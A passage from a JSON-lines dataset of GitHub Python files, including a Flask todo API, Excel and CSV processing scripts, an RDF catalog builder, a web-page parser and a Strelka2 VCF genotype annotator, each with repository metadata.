response,\"success\":True})\n\n\n@todos.route('/clear',methods=[\"DELETE\"])\n@authenticate\ndef clear(**kwargs):\n payload = request.get_json()\n response = todos.service.delete_all({**payload,'user':{**kwargs[\"user\"]}})\n return jsonify({\"todos\": response,\"success\":True})\n\n\n@todos.route('/delete',methods=[\"DELETE\"])\n@authenticate\ndef delete(**kwargs):\n payload = request.get_json()\n\n if payload['id'] == \"\":\n return jsonify({\"error\": \"id not found\",\"success\":False})\n\n deleted = todos.service.delete(payload['id'])\n\n return jsonify({\"message\": 'Todo Deleted', \"id\": payload[\"id\"],\"success\":True,'todo':deleted })","repo_name":"Josep1992/tweetdo","sub_path":"api/project/app/controllers/todo.py","file_name":"todo.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73872490115","text":"import pandas as pd\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\nimport openpyxl\r\nfrom openpyxl import load_workbook\r\n\r\n#pd.options.mode.chained_assignment = None\r\nroot = tk.Tk()\r\nroot.withdraw()\r\n\r\n# Asks users to choose the both excel files from their system.\r\nfilepath = filedialog.askopenfilename(title=\"Choose your excel file\")\r\ntranslations_path = filedialog.askopenfilename(title=\"Choose translation file\")\r\n\r\nfile = pd.ExcelFile(filepath)\r\nsheets = file.sheet_names\r\n\r\ntranslations = pd.ExcelFile(translations_path)\r\ntsheets = translations.sheet_names\r\n\r\n\r\nwb = load_workbook(filepath)\r\n\r\n\r\nfor sheet in sheets:\r\n print(\"Now working on \"+sheet+\" sheet\")\r\n page = file.parse(sheet)\r\n lenght, widht = page.shape\r\n\r\n # ws is our worksheet that the work on in this iteration\r\n ws = wb[sheet]\r\n for tsheet in tsheets:\r\n print(\"Now you are working on \" + tsheet + \" translation sheet\")\r\n tpage = translations.parse(tsheet)\r\n tlenght, twidth = tpage.shape\r\n\r\n # Both 'Inv. No.' and 'ObjectNumber' is the name of the columns at each excel file.\r\n for i in range(1, lenght):\r\n for k in range(1, tlenght):\r\n a = page['Inv. No.'][i]\r\n b = tpage['ObjectNumber'][k]\r\n\r\n # Again 'Description_EN' and 'Remarks' are the name of the columns which contains translation text.\r\n if a == b:\r\n print(\"Found a match and will transfer the translation.\")\r\n ws['AC'+str(i+2)] = tpage['Description_EN'][k]\r\n ws['AD'+str(i+2)] = tpage['Remarks'][k]\r\n\r\nwb.save(filepath)\r\n","repo_name":"cihanandac/TranslateTransfer","sub_path":"TranslateTransfer.py","file_name":"TranslateTransfer.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15796249244","text":"from collections import defaultdict\n\nimport gc\nimport os\nimport psutil\n\n\ndef currentMemUsageMb(residentOnly=True):\n if residentOnly:\n return psutil.Process().memory_info().rss / 1024**2\n else:\n return psutil.Process().memory_info().vms / 1024**2\n\n\ndef gc_object_types_histogram():\n \"\"\"Returns a map of types to the cound of how many such objects the GC is managing.\n\n Return Type: defaultdict( ObjectType: type -> count: int )\n \"\"\"\n dd = defaultdict(int)\n gc_objects = gc.get_objects()\n for o in gc_objects:\n dd[type(o)] += 1\n\n total = sum([v for v in dd.values()])\n assert total == len(gc_objects), (total, len(gc_objects))\n\n return dd\n\n\ndef diff_object_types_histograms(new_histo, old_histo):\n \"\"\"Returns a new histogram that is the difference of it inputs\"\"\"\n all_keys = set(new_histo.keys()).union(old_histo.keys())\n\n dd = {k: new_histo[k] - old_histo[k] for k in all_keys if new_histo[k] - old_histo[k] != 0}\n return dd\n\n\ndef sort_by_value(histogram, topK=None, filterFn=None):\n \"\"\"Return a sorted list of (value, tag) pairs from a given histogram.\n\n If filter is specified the results are filtered using that function\n If topK is specified, only return topK results\n \"\"\"\n res = reversed(\n sorted([(val, tag) for tag, val in histogram.items()], key=lambda pair: pair[0])\n )\n\n if filter is not None:\n res = filter(filterFn, res)\n\n if topK is not None:\n return list(res)[:topK]\n else:\n return list(res)\n\n\ndef log_cells_stats(cells, logger, indentation=0):\n indent = \" \" * indentation\n\n def log(msg):\n logger(indent + msg)\n\n log(\"#####################################################\")\n log(\"# Cells structure DEBUG Log\")\n log(\"# - dirty: {}\".format(len(cells._dependencies._dirtyNodes)))\n log(\"# - need bcast: {}\".format(len(cells._nodesToBroadcast)))\n log(\"# - cells: {}\".format(len(cells._cells)))\n log(\"# - known children: {}\".format(len(cells._cellsKnownChildren)))\n log(\"# - to discard: {}\".format(len(cells._nodeIdsToDiscard)))\n log(\"# - subscribed-to keys: {}\".format(len(cells._dependencies._subscribedCells)))\n log(\"#####################################################\")\n\n\nownDir = os.path.dirname(os.path.abspath(__file__))\n","repo_name":"APrioriInvestments/object_database","sub_path":"object_database/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"28657459224","text":"import datetime, logging\nfrom flare import html5\nfrom flare.viur import BoneSelector\nfrom flare.config import conf\nfrom flare.i18n import translate\nfrom .base import BaseBone, BaseEditWidget, BaseViewWidget\n\n\nclass DateEditWidget(BaseEditWidget):\n style = [\"flr-value\", \"flr-value--date\"]\n\n def createWidget(self):\n self.serverToClient = []\n\n self.hasDate = self.bone.boneStructure.get(\"date\", True)\n self.hasTime = self.bone.boneStructure.get(\"time\", True)\n\n self.dateInput = None\n self.timeInput = None\n\n tpl = html5.Template()\n # language=HTML\n tpl.appendChild(\n \"\"\"\n\t\t\t\t\t
\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t
\n\t\t\t\t\"\"\",\n hasDate=self.hasDate,\n hasTime=self.hasTime,\n bindTo=self,\n )\n\n if self.hasDate:\n self.serverToClient.append(\"%d.%m.%Y\")\n\n if self.hasTime:\n self.serverToClient.append(\"%H:%M:%S\")\n\n return tpl\n\n def updateWidget(self):\n if self.hasDate:\n self.dateInput[\"required\"] = self.bone.required\n\n if self.bone.readonly:\n self.dateInput.disable()\n else:\n self.dateInput.enable()\n\n if self.hasTime:\n self.timeInput[\"required\"] = self.bone.required\n\n if self.bone.readonly:\n self.timeInput.disable()\n else:\n self.timeInput.enable()\n\n def unserialize(self, value=None):\n if value:\n\n # core sends iso date since PR240\n # https://github.com/viur-framework/viur-core/pull/240\n try:\n value = datetime.datetime.fromisoformat(value)\n except:\n try:\n value = datetime.datetime.strptime(\n value, \" \".join(self.serverToClient)\n )\n except Exception as e:\n logging.exception(e)\n value = None\n\n if value:\n if self.dateInput:\n self.dateInput[\"value\"] = value.strftime(\"%Y-%m-%d\")\n\n if self.timeInput:\n self.timeInput[\"value\"] = value.strftime(\"%H:%M:%S\")\n\n def serialize(self):\n value = datetime.datetime.strptime(\"00:00:00\", \"%H:%M:%S\")\n haveTime = False\n haveDate = False\n\n if self.dateInput:\n if self.dateInput[\"value\"]:\n try:\n date = datetime.datetime.strptime(\n self.dateInput[\"value\"], \"%Y-%m-%d\"\n )\n value = value.replace(\n year=date.year, month=date.month, day=date.day\n )\n haveDate = True\n\n except Exception as e:\n logging.exception(e)\n else:\n haveDate = True\n\n if self.timeInput:\n if self.timeInput[\"value\"]:\n if len(self.timeInput[\"value\"].split(\":\")) < 3:\n self.timeInput[\"value\"] = self.timeInput[\"value\"] + \":00\"\n try:\n time = datetime.datetime.strptime(\n self.timeInput[\"value\"], \"%H:%M:%S\"\n )\n value = value.replace(\n hour=time.hour, minute=time.minute, second=time.second\n )\n haveTime = True\n\n except Exception as e:\n logging.exception(e)\n else:\n # date without time is OK!\n haveTime = haveDate and self.dateInput\n else:\n haveTime = True\n\n if haveDate and haveTime:\n return value.strftime(\" \".join(self.serverToClient))\n\n return \"\"\n\n\nclass DateViewWidget(BaseViewWidget):\n def unserialize(self, value=None):\n if value:\n serverToClient = []\n\n if self.bone.boneStructure.get(\"date\", True):\n serverToClient.append(\"%d.%m.%Y\") # fixme: Again german format??\n\n if self.bone.boneStructure.get(\"time\", True):\n serverToClient.append(\"%H:%M:%S\")\n\n try:\n try:\n self.value = datetime.datetime.fromisoformat(value)\n except:\n self.value = datetime.datetime.strptime(\n value or \"\", \" \".join(serverToClient)\n )\n\n value = self.value.strftime(\n translate(\"vi.bone.date.at\").join(serverToClient)\n ) # fixme: hmm...\n except:\n value = \"Invalid Datetime Format\"\n\n self.replaceChild(html5.TextNode(value or conf[\"emptyValue\"]))\n\n\nclass DateBone(BaseBone):\n editWidgetFactory = DateEditWidget\n viewWidgetFactory = DateViewWidget\n\n @staticmethod\n def checkFor(moduleName, boneName, skelStructure, *args, **kwargs):\n return skelStructure[boneName][\"type\"] == \"date\" or skelStructure[boneName][\n \"type\"\n ].startswith(\"date.\")\n\n\nBoneSelector.insert(1, DateBone.checkFor, DateBone)\n","repo_name":"viur-framework/flare","sub_path":"flare/viur/bones/date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"61"} +{"seq_id":"38538310734","text":"\"\"\"\n Credit_card_bal_gt_limit_pandas_2.py, just explored web to get glimpse of Pandas and used this to excercise\n git and github commands. Instructions are great.\n I needed to issue these commands to identify myself so git know who is committing the changes\n\n git config --global user.email \"you@example.com\"\n git config --global user.name \"Your Name\"\n\"\"\"\nimport pandas as pd\n\ndim_card_details_amex = pd.DataFrame({\n 'card_id': [0, 1],\n 'user_id': [0, 1],\n 'card_type': ['Platnium', 'Gold'],\n 'account_open_date': ['9/102', '7/101'],\n 'card_expiry': ['12/1/22', '11/1/23'],\n 'card_limit': [50000, 30000]\n})\n\nfact_daily_transactions_amex = pd.DataFrame({\n 'transaction_date': ['2013-05-01 00:00:00', '2013-05-02 00:00:00', '2013-05-03 00:00:00'],\n 'card_id': [0, 1, 1],\n 'user_id': [0, 1, 1],\n 'amount': [5335.76, 2500.00, 31000.00],\n 'transaction_type': ['Swipe Transaction', 'Online Purchase', 'Online Purchase'],\n 'merchant_city': ['Monterey Park', 'San Francisco', 'Los Angeles'],\n 'merchant_state': ['CA', 'CA', 'NV']\n})\n\n# Rename 'user_id' column to 'transaction_user_id' in fact_daily_transactions_amex\nfact_daily_transactions_amex.rename(columns={'user_id': 'transaction_user_id'}, inplace=True)\n\n# Merge DataFrames with 'user_id' included in 'on' parameter\nmerged_data = pd.merge(\n fact_daily_transactions_amex,\n dim_card_details_amex[['card_id', 'user_id', 'card_type', 'card_limit']],\n on='card_id'\n)\nprint('---- columns of dataframe: merged_data ----')\n# _ = [print(column) for column in merged_data.columns]\nprint(f'1. merged_data = {merged_data.head(5)}\\n')\n\n# Calculate total transactions for each card including 'card_type' and 'merchant_city' as a list\ntotal_transactions = merged_data.groupby(['user_id', 'card_id', 'card_type', 'card_limit'], as_index=False).agg(\n {'amount': 'sum', 'merchant_city': list})\nprint(f'2. total_transactions {total_transactions.head(5)}\\n')\n\n# Identify cards that have exceeded their limit\nexceeded_limit_cards = total_transactions[total_transactions['amount'] > total_transactions['card_limit']]\nprint(f'3. exceeded limit_cards: {exceeded_limit_cards.head(5)}')\n\n# Display the results\nfor index, row in exceeded_limit_cards.iterrows():\n user_id = row['user_id']\n card_id = row['card_id']\n card_type = row['card_type']\n merchant_cities = row['merchant_city']\n total_transaction_amount = row['amount']\n card_limit = row['card_limit']\n print(\n f\"User ID: {user_id}, Card ID: {card_id}, Card Type: {card_type}, \"\n f\"Merchant Cities: {', '.join(merchant_cities)}, \"\n f\"Total transactions on the card: {total_transaction_amount}, Card Limit: {card_limit}\")\n","repo_name":"ashvinnj/sep23test","sub_path":"Credit_card_bal_gt_limit_pandas_2.py","file_name":"Credit_card_bal_gt_limit_pandas_2.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8637631878","text":"from glob import glob\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport functools\r\n\r\nimport sys\r\nsys.path.append('../')\r\nfrom source_names_dict import source_names_dict\r\n\r\n\r\ndef get_csv_dict(csv_path):\r\n csv_dict = {}\r\n # Get path\r\n csv_dict['path'] = csv_path\r\n #csv_dict['df'] = pd.read_csv(csv_path, dtype={'obsID':str})\r\n \r\n csv_path = csv_path.split('/')[-1]\r\n \r\n # Get Prefix\r\n if 'curve_nosys' in csv_path:\r\n csv_dict['prefix'] = 'curve_nosys'\r\n elif 'hardrat' in csv_path:\r\n csv_dict['prefix'] = 'hardrat'\r\n \r\n # Get mode\r\n if 'PC' in csv_path:\r\n csv_dict['mode'] = 'PC'\r\n elif 'WT' in csv_path:\r\n csv_dict['mode'] = 'WT'\r\n \r\n # Get incbad\r\n if 'incbad' in csv_path:\r\n csv_dict['incbad'] = True\r\n elif 'incbad' not in csv_path:\r\n csv_dict['incbad'] = False\r\n \r\n # get UL\r\n if 'UL' in csv_path:\r\n csv_dict['UL'] = True\r\n elif 'UL' not in csv_path:\r\n csv_dict['UL'] = False\r\n \r\n # get band\r\n if 'HARD' in csv_path:\r\n csv_dict['band'] = 'HARD'\r\n elif 'SOFT' in csv_path:\r\n csv_dict['band'] = 'SOFT'\r\n elif 'HR' in csv_path:\r\n csv_dict['band'] = 'HR'\r\n else:\r\n csv_dict['band'] = 'FULL'\r\n return csv_dict\r\n\r\n# Fix glob square bracket issue\r\nto_replace = {'[':'[[]',\r\n ']':'[]]'}\r\n\r\nfor simbad_name, local_name in source_names_dict.items():\r\n simbad_name_glob = simbad_name.translate(str.maketrans(to_replace)) # Used to fix globbing square brackets\r\n curve_nosys_files = glob(f'UKSSDC/{simbad_name_glob}/*/*/*curve_nosys*.csv')\r\n hardrat_files = glob(f'UKSSDC/{simbad_name_glob}/*/*/*hardrat*.csv')\r\n\r\n\r\n \r\n print(f'{simbad_name:<40} curve_nosys_files={len(curve_nosys_files)} hardrat_files={len(hardrat_files)}')\r\n \r\n if len(curve_nosys_files) == 0:\r\n print('No csv files, loop continue...')\r\n continue\r\n \r\n # Get CSV dicts\r\n curve_nosys_dicts = [get_csv_dict(csv) for csv in curve_nosys_files]\r\n hardrat_dicts = [get_csv_dict(csv) for csv in hardrat_files]\r\n\r\n dfs_curve_nosys = []\r\n for d in curve_nosys_dicts:\r\n print(d)\r\n df = pd.read_csv(d['path'], dtype={'obsID':str})\r\n df['MODE'] = d['mode']\r\n df['BAD'] = d['incbad']\r\n df['UL'] = d['UL']\r\n df['BAND'] = d['band']\r\n dfs_curve_nosys.append(df)\r\n \r\n # Merge dataframes\r\n df_merge = functools.reduce(lambda left,right: pd.merge(left, right, how='outer'), dfs_curve_nosys)\r\n\r\n # Remove duplicate obsIDs, keeping values with bad == False\r\n df_merge = df_merge.sort_values('BAD')\r\n df_merge = df_merge.drop_duplicates('obsID', keep='first')\r\n\r\n # Re-sort by MJD\r\n df_merge = df_merge.sort_values('MJD').reset_index(drop=True)\r\n \r\n print(df_merge)\r\n curve_nosys_savefile = f'lightcurves/xrt/{simbad_name},curve_nosys_join.csv'\r\n print(f'Saving file to: {curve_nosys_savefile}')\r\n df_merge.to_csv(curve_nosys_savefile, index=False)\r\n \r\n \r\n print('-'*50 + ' NOW DOING HARDRAT' + '-'*50)\r\n \r\n \r\n dfs_hardrat = []\r\n for d in hardrat_dicts:\r\n print(d)\r\n df = pd.read_csv(d['path'], dtype={'obsID':str})\r\n df['MODE'] = d['mode']\r\n df['BAD'] = d['incbad']\r\n df['UL'] = d['UL']\r\n df['BAND'] = d['band']\r\n dfs_hardrat.append(df)\r\n \r\n \r\n # Merge dataframes\r\n df_merge = functools.reduce(lambda left,right: pd.merge(left, right, how='outer'), dfs_hardrat)\r\n print(df_merge)\r\n df_merge = df_merge.sort_values('BAD')\r\n df_merge = df_merge.drop_duplicates(['obsID', 'BAND'], keep='first')\r\n # Remove duplicate obsIDs, keeping values with bad == False\r\n # df_merge = df_merge.sort_values('BAD')\r\n # df_merge = df_merge.drop_duplicates('obsID', keep='first')\r\n\r\n # Re-sort by MJD\r\n df_merge = df_merge.sort_values('MJD').reset_index(drop=True)\r\n print(df_merge)\r\n\r\n curve_nosys_savefile = f'lightcurves/xrt/{simbad_name},hardrat_join.csv'\r\n print(f'Saving file to: {curve_nosys_savefile}')\r\n df_merge.to_csv(curve_nosys_savefile, index=False)\r\n \r\n \r\n print('='*100)\r\n","repo_name":"nx1/anticorr_data","sub_path":"8_join_xrt_csv_files.py","file_name":"8_join_xrt_csv_files.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28604226883","text":"from rdflib import Graph, URIRef, Literal\nfrom rdflib.namespace import Namespace, RDF, OWL, SKOS, RDFS, DCTERMS\nfrom rdflib.namespace import DefinedNamespace, Namespace\nimport json\nimport pandas as pd\n\n\nclass MEX_ALGO(DefinedNamespace):\n _fail = True\n\n # http://www.w3.org/2000/01/rdf-schema#Class\n HyperParameter: URIRef\n AlgorithmClass: URIRef\n Algorithm: URIRef\n\n _NS = Namespace(\"http://mex.aksw.org/mex-algo#\")\n\n\ndef make_uri(value):\n return (value[0].upper() + value[1:]).replace(\" \", \"\").replace(\"(\", \"_\").replace(\")\", \"_\").replace(\"'\", \"\")\n\n\n# load stubs\n# load parameter descriptions\n\ng = Graph()\ng.bind('mex-algo', MEX_ALGO)\nSML = Namespace(\"http://simple-ml.de/rdf#\")\nDBR = Namespace(\"http://dbpedia.org/resource/\")\nDBPEDIA_DE = Namespace(\"http://de.dbpedia.org/resource/\")\nWD = Namespace(\"http://www.wikidata.org/entity/\")\nDBO = Namespace(\"http://dbpedia.org/ontology/\")\n\ndbpedia_namespaces = {\"en\": DBR, \"de\": DBPEDIA_DE}\n\ng.bind('sml', SML)\ng.bind('dcterms', DCTERMS)\ng.bind('owl', OWL)\ng.bind('skos', SKOS)\n\nlanguages = [\"en\", \"de\"]\n\n# load blacklist of ignored algorithms\nalgorithms_blacklist = set(line.strip() for line in open(\n '../../../data_catalog/ml_processes_catalog/algorithms_blacklist.csv'))\n\nid_to_ref = dict()\nall_parents = dict()\nwith open('../../../data_catalog/ml_processes_catalog/algorithms.json') as json_file:\n data = json.load(json_file)\n\n for algorithm_id in data:\n\n algorithm_json = data[algorithm_id]\n dbpedia_id = algorithm_json['dbpedia_id']\n\n if dbpedia_id in algorithms_blacklist:\n continue\n\n print(algorithm_json)\n\n pref_labels = dict()\n\n dbpedia_ids = algorithm_json['dbpedia_ids']\n\n algorithm_ref = SML[make_uri(dbpedia_ids[\"en\"][0])]\n\n print(\"algorithm_id:\", algorithm_id)\n id_to_ref[int(algorithm_id)] = algorithm_ref\n\n g.add((algorithm_ref, RDF.type, OWL.Class))\n\n if \"parents\" not in algorithm_json:\n g.add((algorithm_ref, RDF.type, MEX_ALGO.AlgorithmClass))\n else:\n all_parents[int(algorithm_id)] = algorithm_json[\"parents\"]\n\n for dbpedia_language in dbpedia_ids:\n for dbpedia_id in dbpedia_ids[dbpedia_language]:\n pref_labels[dbpedia_language] = dbpedia_id.replace(\"_\", \" \")\n g.add((algorithm_ref, OWL.sameAs, dbpedia_namespaces[dbpedia_language][dbpedia_id]))\n\n # Wikidata ID\n if 'wikidata_id' in algorithm_json:\n wikidata_id = algorithm_json['wikidata_id']\n g.add((algorithm_ref, OWL.sameAs, WD[wikidata_id]))\n\n longest_descriptions = dict()\n\n # descriptions\n if 'descriptions' in algorithm_json:\n descriptions = algorithm_json['descriptions']\n for description_language in descriptions:\n for description in descriptions[description_language]:\n g.add((algorithm_ref, DCTERMS.description, Literal(description, lang=description_language)))\n if description_language not in longest_descriptions or len(\n longest_descriptions[description_language]) < len(description):\n longest_descriptions[description_language] = description\n\n shortest_abbreviations = dict()\n\n # labels\n labels = algorithm_json['labels']\n for label_language in labels:\n for label in labels[label_language]:\n if label.isupper() and len(label) <= 10:\n g.add((algorithm_ref, SML.abbreviation, Literal(label, lang=label_language)))\n if label_language not in shortest_abbreviations or len(\n shortest_abbreviations[label_language]) > len(label):\n shortest_abbreviations[label_language] = label\n else:\n g.add((algorithm_ref, RDFS.label, Literal(label, lang=label_language)))\n\n # aliases\n if 'aliases' in algorithm_json:\n aliases = algorithm_json['aliases']\n for alias_language in aliases:\n for alias in aliases[alias_language]:\n if alias.isupper() and len(alias) <= 10:\n g.add((algorithm_ref, SML.abbreviation, Literal(alias, lang=alias_language)))\n if alias_language not in shortest_abbreviations or len(\n shortest_abbreviations[alias_language]) > len(alias):\n shortest_abbreviations[alias_language] = alias\n else:\n g.add((algorithm_ref, DCTERMS.alternative, Literal(alias, lang=alias_language)))\n\n # prefLabel\n for pref_label_language in pref_labels:\n g.add((algorithm_ref, SKOS.prefLabel, Literal(pref_labels[pref_label_language], lang=pref_label_language)))\n\n # prefAbbreviation\n for pref_abbreviation_language in shortest_abbreviations:\n g.add((algorithm_ref, SML.prefAbbreviation,\n Literal(shortest_abbreviations[pref_abbreviation_language], lang=pref_abbreviation_language)))\n\n # prefDescription\n for pref_description_language in longest_descriptions:\n g.add((algorithm_ref, SML.prefDescription,\n Literal(longest_descriptions[pref_description_language], lang=pref_description_language)))\n\n\nfor algorithm_id in all_parents:\n for parent_id in all_parents[algorithm_id]:\n g.add((id_to_ref[algorithm_id], RDFS.subClassOf, id_to_ref[parent_id]))\n\nfor s, p, o in g.triples((None, None, None)):\n print(s, p, o)\n\ng.serialize(destination=\"../../../data_catalog/ml_processes_catalog/ml_catalog.ttl\")\n\n# TODO: Error with sml:Mean_shift and sml:Mean-shift\n","repo_name":"Simple-ML/Simple-ML","sub_path":"Runtime/stdlib/python/simpleml/ml_catalog/_ml_catalog_creation.py","file_name":"_ml_catalog_creation.py","file_ext":"py","file_size_in_byte":5755,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73024698754","text":"import codecs\nfrom requests_html import HTML\nfrom collections import namedtuple\nimport csv\nimport glob\nimport time\n\nout_path = '/home/avare/repos/givetastic_recommender/data/company_profile_ndb'\n\nclass Page:\n def __init__(self):\n self.COUNTER = 0\n\n def load(self, filename):\n f = codecs.open(filename, \"r\", \"ISO-8859-15\")\n str = f.read()\n f.close()\n html = HTML(html=str.encode('ISO-8859-15'), default_encoding=\"ISO-8859-15\")\n return html\n\n def is_empty(self, page):\n target = 'No results for'\n idx = page.text.find(target)\n print(f\"Check empty {idx}\")\n flag = idx != -1\n return flag\n\n def parse_all_files(self, dir):\n lst = []\n files_lst = glob.glob(dir)\n\n ##################################\n # Initialize Batch\n ##################################\n batch = []\n batch_name = \"leo_verbs\" # move to constants..\n INIT_BATCHNR = 6\n batchnr = INIT_BATCHNR\n for i in files_lst:\n lemma, usage , is_verb = self.parse_from_file(i)\n # parse verbs\n if is_verb:\n print(f\"{i}\")\n usage = usage[0:]\n leo_res = leo.search(lemma)\n leo_en = leo.get_verbs_english_definitions(leo_res)\n leo_de = leo.de_get_verbs_german_translation(leo_res)\n nl = \"\\n\"\n nl2 = \"\\n\\n\"\n comma = \", \"\n #entry = f\"{lemma} @@@ {nl2.join(usage)} §§§\"\n print(leo_de)\n entry = f\"{lemma} @@@ {leo_en} {nl} {leo_de} {nl2} {nl2.join(usage)} §§§\"\n batch.append(entry)\n # wait some seconds\n time.sleep(5)\n # write batch\n if len(batch) == MAX_CARDS:\n self.write_to_file(batch, batchnr, batch_name)\n batch = []\n batchnr = batchnr + 1\n ## if done and nothing written ; small batch\n #if batchnr == INIT_BATCHNR:\n self.write_to_file(batch, batchnr, batch_name)\n\n\n def parse_from_file(self, filename):\n is_verb = False\n res = self.load(filename)\n term = self.parse_term(res)\n definition, is_verb = self.parse_definition(res)\n return term, definition, is_verb\n\n\n def parse_term(self,res):\n selector = '#ctl00_cC_translate_box > font > div > div > b:nth-child(1) > span'\n res = res.find(selector)\n if len(res) == 0:\n val = None\n else:\n val = res[0].text\n return val\n\n\n def parse_definition(self, res):\n lst = []\n is_verb = False\n selector = '#ctl00_cC_translate_box > font > div > div'\n res = res.find(selector)\n if len(res) > 0:\n #lst.append(len(res))\n # peek if verb\n is_verb = self.is_verb(res)\n if is_verb:\n self.COUNTER = self.COUNTER + 1\n for i in res:\n val = i.text\n lst.append(val)\n return lst, is_verb\n\n def is_verb(self,res):\n str = \"\"\n for i in res:\n str += i.text\n return \"ptp\" in str or \" vt\" in str or \" vi\" in str or \" vtr\" in str\n\n\n def write_to_file(self, lst, batchnr, filename):\n f = open(cards_path + filename + \"_\" + str(batchnr) + \".txt\", 'w')\n with f:\n for i in lst:\n f.write(f\"{i}\")\n\n\n # def write_to_file_batch(self, lst): # dumb just merge this with existing loop!!\n # batch = []\n # batchnr= 1\n # for i in range(0,len(lst)):\n # batch.append(i)\n # if len(batch) == MAX_CARDS:\n # self.write_to_file(batch,batchnr)\n # batch = []\n # batchnr = batchnr + 1\n\n\n def clean_defintion(self,lst):\n res = []\n # drop first element\n # replace newline with colon\n # limit the number of defintions to 5\n upper_val = min(5, len(lst))\n for i in range(1,upper_val):\n str = lst[i]\n str = str.replace('\\n', ' \\n ')\n res.append(str)\n return res\n\n\nif __name__ == \"__main__\":\n pg = Page()\n pg.parse_all_files('/home/avare/repos/quizlet/data/html_files_05_12_2020/*.html')\n print(f\"All Done **************** verb count is: {pg.COUNTER}\")\n\n","repo_name":"chalendony/givetastic_recommender","sub_path":"data/DELETE/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27512369395","text":"#!/usr/bin/env python\n\n\"\"\" A script to add standard VCF fields to Strelka2\n tumor / normal output\n Strelka2 VCF should be normalized prior to this step\n Takes input VCF and names of tumor and normal samples\n Produces modified VCF\n\"\"\"\n\nimport argparse\nimport os\nimport pysam\n\ndef name_to_gt(name):\n \"\"\" Convert names like 'het' to canonical genotypes \n 'conflict' interpreted as homozygous reference\n \"\"\"\n if name == 'hom':\n return (1, 1)\n elif name == 'het':\n return (0, 1)\n elif name in ('ref', 'conflict'):\n return (0, 0)\n else:\n raise ValueError('No genotype associated with %s' % name)\n\ndef get_tumor_GT(info_sgt, ref):\n \"\"\" Produce standard GT for a Strelka2 tumor sample\n\n Args:\n info_sgt (str): value of info['SGT'] for pysam VariantRecord object\n ref (str): value of ref for pysam VariantRecord object\n Strelka2 SGT field may be e.g. 'ref->het' or 'GG->GC'\n\n Returns:\n genotype (tuple): e.g. (0, 1)\n \"\"\"\n sgt = info_sgt.split(\"->\")[-1]\n try:\n tumor_gt = name_to_gt(sgt)\n except ValueError:\n if len(set(sgt)) == 2:\n tumor_gt = (0, 1)\n elif len(set(sgt)) == 1:\n if sgt[0] == ref:\n tumor_gt = (0, 0)\n else:\n tumor_gt = (1, 1)\n else:\n raise IOError('Unhandled Strelka2 SGT value %s' % sgt)\n \n return tumor_gt\n\ndef get_normal_GT(info_nt):\n \"\"\" Produce standard GT for a Strelka2 normal sample\n\n Args:\n info_nt: value of info['NT'] for pysam VariantRecord object\n\n Returns:\n genotype (tuple): e.g. (0, 1)\n \"\"\"\n return name_to_gt(info_nt)\n\ndef get_AD(vcf_sample, ref, alts):\n \"\"\" Produce standard AD for a Strelka2 sample\n \n Args:\n vcf_sample (pysam VariantRecord sample object)\n ref (str): value of ref for pysam VariantRecord object\n alts (tuple): value of alts for pysam VariantRecord object\n Returns:\n allele depths (tuple): (ref, alt)\n \n From strelka2 docs:\n SNPs:\n refCounts = Sum values FORMAT column $REF + “U”\n (e.g. if REF=\"A\" then use the value in FORMAT/AU)\n altCounts = Sum values FORMAT column $ALT + “U”\n (e.g. if ALT=\"T\" then use the value in FORMAT/TU)\n Indels:\n tier1RefCounts = Sum values from FORMAT/TAR\n tier1AltCounts = Sume values from FORMAT/TIR\n \"\"\"\n # only indels should have TIR field\n if 'TIR' in vcf_sample:\n ref_ct = sum(vcf_sample['TAR'])\n alt_ct = sum(vcf_sample['TIR'])\n else: # SNP case\n snp_ref_key = ref[0] + \"U\"\n snp_alt_key = alts[0][0] + \"U\"\n ref_ct = sum(vcf_sample[snp_ref_key])\n alt_ct = sum(vcf_sample[snp_alt_key])\n\n return (ref_ct, alt_ct)\n\ndef get_AF(ad):\n \"\"\" Calculate allele frequency from allele depths \n \n Args:\n ad (tuple): (ref, alt) depths\n\n Returns:\n alt allele frequency (float) \n \"\"\"\n ref_counts, alt_counts = ad\n total_counts = ref_counts + alt_counts\n if not total_counts:\n return 0.0\n return alt_counts / total_counts\n\ndef create_mod_vcf(output_path, input_path, tumor_name, normal_name):\n \"\"\" Create a new VCF in which standard FORMAT fields have been\n calculated and added=based on those provided natively by Strelka2\n\n Args:\n output_path (str): path to the VCF being created\n input_path (str): path to the Strelka2 VCF\n tumor_name (str): name of tumor sample in input\n normal_name (str) name of normal sample in input\n\n Raises:\n IOError if a sample name in the input is neither tumor_name\n nor normal_name\n \"\"\"\n\n input_vcf = pysam.VariantFile(input_path, 'r')\n\n input_vcf.header.formats.add('GT', '1', 'String',\n 'Converted genotype added in post for compatibility')\n input_vcf.header.formats.add('AD', 'R', 'Integer',\n ('Allelic depths for the ref and alt alleles in the order listed. '\n 'Added in post for compatibility'))\n input_vcf.header.formats.add('AF', 'A', 'Float',\n ('Allele frequency, as recommended by strelka2 docs: '\n 'U/U+U (somatic snps), '\n 'TIR/TIR+TAR (somatic indels)'))\n\n output = pysam.VariantFile(output_path, 'w', header=input_vcf.header)\n\n for record in input_vcf.fetch():\n for index in (0, 1):\n sample = record.samples[index]\n if sample.name == tumor_name:\n sample['GT'] = get_tumor_GT(record.info['SGT'], record.ref)\n elif sample.name == normal_name:\n sample['GT'] = 